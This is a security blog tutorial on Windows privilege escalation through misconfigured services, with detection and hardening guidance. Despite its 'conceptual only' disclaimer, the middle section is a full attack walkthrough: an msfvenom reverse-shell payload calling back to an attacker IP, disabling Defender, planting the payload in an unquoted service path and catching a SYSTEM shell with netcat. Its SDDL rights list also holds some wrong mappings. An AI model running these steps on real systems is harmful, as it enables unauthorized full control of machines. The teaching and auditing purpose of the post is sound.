Windows Privilege Escalation via Service Misconfigurations

By Dinesh Kumar · 27 Feb 2026

Windows Privilege Escalation via Service Misconfigurations (Conceptual Only)

Windows services are background processes that run with various privilege levels, often with SYSTEM or Local Administrator rights. When these services are misconfigured, they become one of the most common and dangerous vectors for privilege escalation, allowing standard users to gain full system control.

⚠️ This section explains how Windows service-based privilege escalation happens conceptually. No exploitation techniques or commands are discussed. All commands shown are for defensive auditing only.

What Is Windows Service-Based Privilege Escalation?

Windows service-based privilege escalation occurs when a user with limited privileges can manipulate a service running with higher privileges (typically SYSTEM) to execute arbitrary code or gain elevated access. This is possible due to configuration errors, not software vulnerabilities.

Unlike kernel exploits that require unpatched systems, service misconfigurations are administrative oversights that can be found on fully patched systems, making them extremely common in enterprise environments.

💡 Key Insight: According to penetration testing statistics, service misconfigurations are found in 30-40% of Windows systems and are often the fastest path to SYSTEM privileges.

🪟 Windows Service Fundamentals

🔧 Service Privilege Levels

SYSTEM (LocalSystem): Highest privilege level - unrestricted system access
Local Service: Limited privileges, anonymous network access
Network Service: Limited privileges, authenticated network access
User Account: Runs with specific user privileges

📋 Service Configuration Components

Binary Path: Executable to run
Service DACL: Who can control the service
Registry Keys: Service configuration in HKLM
File Permissions: Service binary permissions

How Windows Service Escalation Happens (High-Level)

🔴 Primary Attack Vectors

1. Unquoted Service Paths

How it works:

When a service path contains spaces and is not enclosed in quotes, Windows interprets the path ambiguously. It attempts to execute in this order:

C:\Program.exe (first word before space)
C:\Program Files\Vendor.exe (next word combination)
C:\Program Files\Vendor\service.exe (full path)

Vulnerable example:

C:\Program Files\Vendor App\service.exe

Risk:

If a user can write to C:\ or C:\Program Files\, they can place a malicious Program.exe or Vendor.exe that executes when the service starts.

🚨 Defensive note: The service runs as SYSTEM, so the malicious binary executes with highest privileges.

2. Weak Service Permissions (DACL)

How it works:

Each service has a Discretionary Access Control List (DACL) that defines who can perform actions like:

SERVICE_CHANGE_CONFIG - Modify service configuration
SERVICE_STOP - Stop the service
SERVICE_START - Start the service
SERVICE_ALL_ACCESS - Full control

Risk:

If BUILTIN\Users or Everyone has SERVICE_CHANGE_CONFIG, a standard user can change the binary path to point to a malicious executable and restart the service.

sc config VulnService binPath= "C:\malware.exe"
net start VulnService

🚨 Defensive note: Always check who can modify service configurations.

3. Weak Service Binary Permissions

How it works:

The actual executable file that the service runs may have weak permissions, allowing users to replace it.

Risk:

If BUILTIN\Users has FILE_WRITE_DATA or FILE_ALL_ACCESS on the service binary, a user can replace it with a malicious executable.

icacls "C:\Program Files\Vendor\service.exe"
# If output shows BUILTIN\Users:(W) or Everyone:(W), it is vulnerable

🚨 Defensive note: Service binaries should only be writable by Administrators and SYSTEM.

4. Weak Service Registry Permissions

How it works:

Service configuration is stored in the registry at:

HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName>

The ImagePath value specifies the binary path. If registry permissions are weak, users can modify it.

Risk:

If BUILTIN\Users has write access to this registry key, they can change ImagePath to point to a malicious executable.


reg add "HKLM\SYSTEM\CurrentControlSet\Services\VulnService" /v ImagePath /t REG_EXPAND_SZ /d "C:\malware.exe" /f

🚨 Defensive note: Registry keys for services should be protected with proper ACLs.

💡 Important: These are configuration issues, not vulnerabilities. They exist on fully patched systems and can only be fixed through proper hardening.

🌍 Real-World Windows Attack Chain (Defensive Walkthrough)

The following step-by-step demonstration shows how an attacker would exploit an unquoted service path vulnerability from initial access to full SYSTEM privileges. This is shown for defensive understanding and educational purposes only. Each step includes the exact commands, expected outputs, and defensive detection opportunities.

🚨 LAB ENVIRONMENT ONLY: These steps must only be performed on systems you own or have explicit written permission to test. Unauthorized use of these techniques is illegal and unethical.

📋 Example 1: Unquoted Service Paths

Path Misconfiguration

Scenario:

A company deploys a monitoring agent across all workstations. The service is configured with an unquoted path, and standard users have write access to C:\Program Files\ due to legacy permissions. This creates a complete privilege escalation path from low-privilege user to SYSTEM.

1: Access 2: Payload 3: Transfer 4: AV Bypass 5: Enum 6: Discovery 7: Placement 8: Listener 9: Execute

Steps 1-3

Steps 4-6

Steps 7-9

1-3

4-6

7-9

1 Initial Access – Low Privilege User Account

The attacker gains access as a standard user through various methods:

Phishing email
Compromised credentials

Service vulnerability
Malicious USB

Command (check current user):

Run this command on: Victim Machine (Windows)

C:\Users\lowuser> whoami

Output (current username):

workgroup\lowuser

2 Create Reverse Shell Payload (Attacker Machine - Kali)

Generate reverse shell executable using msfvenom:

Command:

Run this command on: Attacker Machine (Kali Linux)


msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=5555 -f exe -o reverse.exe

3 Transfer Payload to Victim Machine (SMB)

On Kali, start SMB server:

Command:

Run this command on: Attacker Machine (Kali Linux)

sudo impacket-smbserver share .

4 Disable AV & Receive Payload on Victim

Disable Windows Defender:

PowerShell Command:

Run this command on: Victim Machine (Windows) - Admin PowerShell

Set-MpPreference -DisableRealtimeMonitoring $true

Copy payload:

Command:

Run this command on: Victim Machine (Windows)


copy \10.10.10.10\share\reverse.exe C:\PrivEsc\reverse.exe

5 Check Current User Privileges

Check username:

CMD whoami command

Run this command on: Victim Machine (Windows)

C:\Users\lowuser> whoami

OUTPUT Current username

workgroup\lowuser

Check privileges:

CMD whoami /priv command

Run this command on: Victim Machine (Windows)

C:\Users\lowuser> whoami /priv

OUTPUT User privilege information

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== ========
SeShutdownPrivilege           Shut down the system                 Disabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Disabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
SeTimeZonePrivilege           Change the time zone                 Disabled

6 Find Vulnerable Service (Unquoted Path)

Find unquoted service paths:

Command:

Run this command on: Victim Machine (Windows)


wmic service get name,pathname | findstr /v /i "system32" | findstr /v "\""

Output (vulnerable service found):


unquotedsvc  C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

Download AccessChk:

https://download.sysinternals.com/files/AccessChk.zip

Check directory permissions:

Command:

Run this command on: Victim Machine (Windows) - from C:\PrivEsc folder


accesschk64.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"

Output (directory permissions):

  
RW BUILTIN\Users
    FILE_ADD_FILE
    FILE_WRITE_DATA   ← Users can write to this directory

Query service configuration:

Command (query service configuration):

Run this command on: Victim Machine (Windows)

C:\Users\lowuser> sc qc unquotedsvc

Output (relevant service information):

SERVICE_NAME: unquotedsvc
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 3   DEMAND_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Unquoted Path Service
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem   ← Service runs as SYSTEM

7 Place Payload in Vulnerable Directory

Windows execution order for unquoted path:

C:\Program.exe
C:\Program Files\Unquoted.exe
C:\Program Files\Unquoted Path\Common.exe
C:\Program Files\Unquoted Path Service\Common.exe ← Target

Command (copy payload to vulnerable directory):

Run this command on: Victim Machine (Windows)


copy C:\PrivEsc\reverse.exe "C:\Program Files\Unquoted Path Service\Common.exe"

Output (successful copy):

        1 file(s) copied.

8 Start Netcat Listener on Attacker Machine

Run this command on: Attacker Machine (Kali Linux)

sudo nc -lvnp 5555

9 Execute Payload via Service Start

Run this command on: Victim Machine (Windows)

net start unquotedsvc

Result on Kali listener:


connect to [10.10.10.10] from [192.168.1.100] 49158
Microsoft Windows [Version 10.0.19045.3693]
C:\Windows\System32> whoami
nt authority\system

✅ Privilege Escalation Successful! SYSTEM shell obtained.

The Misconfiguration (Root Cause):

❌ Problem 1

Unquoted Path


                                                             C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

❌ Problem 2

Writable Directory

C:\Program Files\Unquoted Path Service\ writable by Users

❌ Problem 3

SYSTEM Privileges

Service runs as LocalSystem

Remediation Steps:

Option 1: Quote the service path (Primary Fix)


sc config unquotedsvc binPath= "\"C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe\""

Option 2: Remove write permissions


icacls "C:\Program Files\Unquoted Path Service" /inheritance:r /grant Administrators:F /grant SYSTEM:F /deny Users:W

🔍 Detection Opportunities:

WinPEAS/PowerUp: Automatically detect unquoted service paths
WMI query: wmic service get name,pathname | findstr /v /i "system32" | findstr /v "\""
Event ID 4688: Monitor for unusual process creation from C:\Program.exe
Event ID 7045: New service installation
Event ID 7036: Service start/stop events

📋 Example 2: Developer Left Service Writable

Scenario:

A developer creates a custom service for internal testing. They set permissions to allow all users to control it for convenience.

The Misconfiguration:

sc sdshow TestService
# Output includes: (A;;CCLCSWRPWPDTLOCRRC;;;AU)

This SDDL shows that Authenticated Users (AU) have SERVICE_CHANGE_CONFIG permissions.

Defensive Analysis:

During an audit, this service is flagged. Any authenticated user could change the binary path and gain SYSTEM access.

Remediation:

Reset service permissions to default:

sc sdset TestService D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)

✅ Defensive lesson: Never grant non-admin users permission to modify services.

📋 Example 3: Third-Party Software with Weak Binary Permissions

Scenario:

A company installs legacy third-party software. The service binary has weak permissions.

The Misconfiguration:

icacls "C:\Program Files (x86)\LegacyApp\service.exe"
# Output: BUILTIN\Users:(W)  Everyone:(R)

Users have write access to the service executable.

Defensive Analysis:

Any user can replace service.exe with a malicious binary. When the service restarts (daily, at boot, or manually), it runs as SYSTEM.

Remediation:

icacls "C:\Program Files (x86)\LegacyApp\service.exe" /inheritance:r /grant Administrators:F /grant SYSTEM:F

✅ Defensive lesson: Service binaries must be protected from modification by standard users.

🔍 Detecting Windows Service Misconfigurations (Defensive)

📋 Service Enumeration Commands

List all services with detailed info
```
sc query state= all
```
Query specific service configuration
```
sc qc <servicename>
```

List services with WMI

wmic service get name,pathname,startname,startmode

PowerShell service enumeration

Get-WmiObject win32_service | Select-Object Name, PathName, StartName, State

🔐 Permission Auditing Commands

Check service DACL (permissions)
```
sc sdshow <servicename>
```
Look for "AU" (Authenticated Users) or "BU" (Built-in Users) with write permissions.
Check service binary permissions
```
icacls "C:\path\to\service.exe"
```

Check service registry key permissions

Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\<servicename>" | Format-List

Use Sysinternals AccessChk

accesschk.exe -c <servicename>

accesschk.exe -c * | findstr "RW"

🔧 Unquoted Service Path Detection

Find unquoted service paths (CMD)

wmic service get name,pathname | findstr /i /v "C:\Windows\" | findstr /i /v """"

Find unquoted service paths (PowerShell)

Get-WmiObject win32_service | Where-Object {\$_.PathName -match '^[^"].+ .+'} | Select-Object Name, PathName

🛡️ Automated Auditing Tools (Defensive)

WinPEAS – Comprehensive Windows privilege escalation scanner
PowerUp – PowerShell tool specifically for service misconfigurations
SharpUp – C# implementation of PowerUp
AccessChk – Sysinternals tool for permission auditing

🛡️ Preventing Windows Service-Based Privilege Escalation

✅ Hardening Checklist

Control	Implementation	Verification Command
Quote all service paths	`sc config ServiceName binPath= "\"C:\Program Files\Vendor\service.exe\""`	`sc qc ServiceName \| findstr BINARY_PATH_NAME`
Restrict service DACLs	Use default permissions or restrict to Administrators only	`sc sdshow ServiceName`
Protect service binaries	`icacls "C:\Program Files\Vendor\service.exe" /inheritance:r /grant Administrators:F /grant SYSTEM:F`	`icacls "C:\Program Files\Vendor\service.exe"`
Protect service registry keys	Ensure only Administrators and SYSTEM have write access	`Get-Acl -Path "HKLM:\SYSTEM\CurrentControlSet\Services\ServiceName"`
Run services with least privilege	Use Network Service or Local Service instead of SYSTEM	`sc qc ServiceName \| findstr SERVICE_START_NAME`

📋 Group Policy Recommendations

✔ Restrict write access to system directories – Ensure C:\, C:\Program Files, and C:\Windows are not writable by standard users
✔ Deploy LAPS – Manage local administrator passwords to prevent lateral movement
✔ Enable Windows Defender Credential Guard – Protect LSASS from credential dumping
✔ Implement AppLocker – Restrict which executables can run, especially in writable directories

🔄 Regular Auditing

✔ Weekly scans – Run WinPEAS or PowerUp to identify new misconfigurations
✔ Change monitoring – Alert on modifications to service configurations
✔ Vulnerability management – Prioritize service misconfigurations in your scanning

✅ Best Practice: Service misconfigurations are 100% preventable. Regular audits and proper configuration management eliminate this entire class of privilege escalation.

📊 Windows Service Permission Levels (SDDL Explained)

Service permissions are defined using Security Descriptor Definition Language (SDDL). Here is what common entries mean:

SDDL Abbreviation	Meaning	Risk Level
SY	Local System	Required
BA	Built-in Administrators	Required
AU	Authenticated Users	HIGH RISK if write access
BU	Built-in Users	HIGH RISK if write access
WD	Everyone (World)	CRITICAL if any access

Common Service Permission Rights:

CC – SERVICE_QUERY_CONFIG (read configuration – low risk)
LC – SERVICE_QUERY_STATUS (low risk)
RP – SERVICE_START (medium risk)
WP – SERVICE_STOP (medium risk)
DT – SERVICE_PAUSE_CONTINUE (medium risk)
CC – SERVICE_USER_DEFINED_CONTROL (medium risk)
DC – SERVICE_CHANGE_CONFIG (HIGH RISK – can change binary path)
WO – WRITE_OWNER (HIGH RISK)
WD – WRITE_DAC (HIGH RISK)

⚠️ Defensive Rule: Only SYSTEM and Administrators should have DC, WO, or WD permissions on services.

🧾 Key Takeaways

✔ Service misconfigurations are the #1 Windows privilege escalation vector – More common than kernel exploits
✔ Four main types: Unquoted paths, weak DACLs, weak binary permissions, weak registry permissions
✔ All are configuration errors – Fully patched systems are still vulnerable if misconfigured
✔ Regular auditing is essential – Use WinPEAS/PowerUp/AccessChk weekly
✔ Prevention is simple: Quote paths, restrict permissions, run services with least privilege

✅ Defensive Summary: Windows service misconfigurations are completely preventable with proper hardening and regular audits. No zero-days required – just good hygiene.

📚 Additional Resources

LOLBAS – https://lolbas-project.github.io/ (Windows binary exploitation reference)
PowerUp – PowerShell tool for Windows service auditing
WinPEAS – Windows Privilege Escalation Awesome Script
Microsoft Docs: Service Security and Access Rights – Official documentation

📚

📚 Related Blogs

📑

Privilege Escalation via Cron Jobs

By Himanshu Shekhar · 27 Feb 2026

Privilege Escalation via Cron Jobs...

Read Article →

📑

TryHackMe BLOG Room – Full Walkthrough

By Himanshu Shekhar · 27 Feb 2026

🧪 TryHackMe – BLOG Room (Full Lab Walkthrough)...

Read Article →

📑

Active Directory Domain Services – Setup Windows Server Conceptual

By Himanshu Shekhar · 27 Feb 2026

🛠️ Step-by-Step:...

Read Article →

📑

Privilege Escalation via Writable /etc/passwd

By Himanshu Shekhar · 27 Feb 2026

Privilege Escalation via Writable /etc/passwd (...

Read Article →

📑

Privilege Escalation via Writable /etc/shadow

By Himanshu Shekhar · 27 Feb 2026

Privilege Escalation via Writable /etc/shadow (...

Read Article →

📑

Privilege Escalation via Writable /etc/sudoers

By Himanshu Shekhar · 27 Feb 2026

Privilege Escalation via Writable /etc/sudoers...

Read Article →

📑

Privilege Escalation via Python Library Hijacking

By Himanshu Shekhar · 27 Feb 2026

Privilege Escalation via Python Library Hijacki...

Read Article →

📑

Privilege Escalation via Kernel Vulnerabilities

By Himanshu Shekhar · 27 Feb 2026

Privilege Escalation via Kernel Vulnerabilities...

Read Article →

📑

Privilege Escalation via Sudo Misconfiguration

By Himanshu Shekhar · 27 Feb 2026

Privilege Escalation via Sudo (Conceptual Overv...

Read Article →

📑

Privilege Escalation via Linux Capabilities

By Himanshu Shekhar · 27 Feb 2026

Privilege Escalation via Linux Capabilities (Co...

Read Article →

📑

Privilege Escalation via SUID (Conceptual Guide)

By Himanshu Shekhar · 27 Feb 2026

Privilege Escalation via SUID (Conceptual Overv...

Read Article →

📑

DC-1 VulnHub: Drupal 7 Exploitation and SUID Privilege Escalation

By Himanshu Shekhar · 27 Feb 2026

DC-1 VulnHub Wal...

Read Article →

📑

Privilege Escalation via Misconfigured NFS

By Himanshu Shekhar · 27 Feb 2026

Privilege Escalation via Misconfigured NFS (Con...

Read Article →

📑

Privilege Escalation via PATH Variable Manipulation

By Himanshu Shekhar · 27 Feb 2026

Privilege Escalation via PATH Variable Manipula...

Read Article →